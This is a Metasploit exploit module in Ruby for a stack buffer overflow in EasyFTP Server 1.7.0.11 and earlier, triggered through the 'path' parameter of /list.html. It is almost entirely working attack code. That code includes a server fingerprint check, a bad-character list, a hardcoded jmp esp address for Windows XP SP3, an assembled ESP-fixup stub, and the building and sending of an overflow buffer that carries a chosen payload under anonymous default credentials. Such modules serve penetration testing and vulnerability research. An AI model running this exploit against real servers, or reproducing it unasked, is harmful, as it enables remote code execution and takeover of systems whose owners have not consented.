EasyFTP Server <= 1.7.0.11 list.html path Stack Buffer Overflow

`##  
# $Id: easyftp_list.rb 9936 2010-07-27 03:14:46Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
HttpFingerprint = { :pattern => [ /Easy-Web Server\// ] }  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EasyFTP Server <= 1.7.0.11 list.html path Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11  
and earlier. EasyFTP fails to check input size when parsing the 'path' parameter  
supplied to an HTTP GET request, which leads to a stack based buffer overflow.  
EasyFTP allows anonymous access by default; valid credentials are typically  
unnecessary to exploit this vulnerability.  
  
After version 1.7.0.12, this package was renamed "UplusFtp".  
  
Due to limited space, as well as difficulties using an egghunter, the use of  
staged, ORD, and/or shell payloads is recommended.  
},  
'Author' =>  
[  
'ThE g0bL!N', # Original exploit [see References]  
'jduck' # Metasploit re-implementation  
],  
'Version' => '$Revision: 9936 $',  
'References' =>  
[  
[ 'OSVDB', '66614'],  
[ 'URL', 'http://www.exploit-db.com/exploits/11500/' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 256,  
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2b\x2f\x3b\x3f\x5c",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3 - Easy FTP Server Universal',  
# NOTE: It's not possible to use addresses within the  
# binary due to the nul byte.  
{  
'Ret' => 0x7cc5d507 # jmp esp in shell32.dll  
#'Ret' => 0xdeadbeef  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 18 2010'  
))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'anonymous']),  
OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', '[email protected]']),  
], self.class)  
end  
  
def check  
info = http_fingerprint # check method  
if info and (info =~ /Easy-Web Server\//)  
return Exploit::CheckCode::Vulnerable  
end  
Exploit::CheckCode::Safe  
end  
  
  
def exploit  
if (payload.encoded.length > payload_space)  
raise RuntimeError, "Insufficient space for payload, try using a staged, ORD and/or shell payload."  
end  
  
# Fix up ESP, jmp to the beginning of the buffer  
stub_asm = %q{  
mov edi, esp  
add esp, 0xfffffc04  
add edi, 0xfffffee8  
jmp edi  
}  
stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub_asm).encode_string  
  
# Build the path up  
path = ''  
path << payload.encoded  
path << rand_text(268 - path.length)  
# NOTE: It's possible to overwrite SEH, however SafeSEH is in effect.  
path << [target.ret].pack('V')  
path << rand_text(280 - path.length)  
path << stub  
path << rand_text(332 - path.length)  
  
uri = "/list.html?path="  
uri << path  
  
print_status("Trying target #{target.name}...")  
res = send_request_raw({ 'uri' => uri }, 5)  
  
if (res)  
print_error("The server unexpectedly responded, this is not good.")  
print_status(res.inspect)  
end  
  
handler  
end  
  
end  
`